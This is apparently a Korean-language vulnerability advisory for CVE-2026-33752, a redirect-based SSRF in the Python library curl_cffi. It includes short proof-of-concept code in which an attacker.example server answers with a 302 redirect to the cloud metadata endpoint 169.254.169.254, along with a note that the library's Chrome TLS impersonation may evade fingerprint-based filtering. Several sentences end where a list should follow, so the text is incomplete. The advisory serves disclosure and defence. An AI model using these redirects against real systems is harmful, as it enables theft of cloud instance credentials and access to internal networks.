
curl_cffi에서 리디렉션 기반 SSRF 취약점을 시연하여 내부 네트워크 접근을 가능하게 하며, PoC 코드와 TLS 위장 우회 분석을 포함합니다.
CVE-2026-33752(리다이렉트 기반 SSRF로 인한 curl_cffi의 내부 네트워크 접근)
curl_cffi는 내부 IP 범위에 대한 요청을 제한하지 않으며, 기본 libcurl을 통해 리다이렉트를 자동으로 따릅니다.
이로 인해 공격자가 제어하는 URL이 클라우드 메타데이터 엔드포인트와 같은 내부 서비스로 요청을 리다이렉트할 수 있습니다. 또한 curl_cffi의 TLS 위장(impersonation) 기능은 이러한 요청을 합법적인 브라우저 트래픽처럼 보이게 하여 특정 네트워크 제어를 우회할 수 있습니다.
이 문제는 curl_cffi가 아웃바운드 요청을 처리하는 방식에서 발생합니다.
즉, 애플리케이션이 외부 URL에 대한 요청만 허용하더라도 공격자는 다음을 수행할 수 있습니다.
결과적으로 내부 엔드포인트(예: 클라우드 인스턴스 메타데이터 API)에 접근할 수 있습니다.
또한 curl_cffi는 TLS 지문 위장(예: impersonate="chrome")을 지원합니다. 아웃바운드 요청이 TLS 지문 기반으로 필터링되는 환경에서는 이러한 요청을 탐지하거나 차단하기가 더 어려워질 수 있습니다.
이 동작은 이전에 보고된 리다이렉트 기반 SSRF 문제(예: CVE-2025-68616)와 유사하며, 리다이렉트를 통해 의도하지 않은 내부 리소스에 접근할 수 있었습니다.
import curl_cffi
resp = curl_cffi.get("http://169.254.169.254/latest/meta-data/")
print(resp.text)
GET /test
→ 302 Location: http://169.254.169.254/latest/meta-data/
피해자 코드:
import curl_cffi
resp = curl_cffi.get("https://attacker.example/test")
print(resp.text)
결과
import curl_cffi\
resp = curl_cffi.get(
"https://attacker.example/test",
impersonate="chrome")
일부 환경에서는 이 기능이 TLS 기반 필터링 제어를 우회하는 데 도움이 될 수 있습니다.
요청 URL을 제어할 수 있는 공격자는 다음을 수행할 수 있습니다.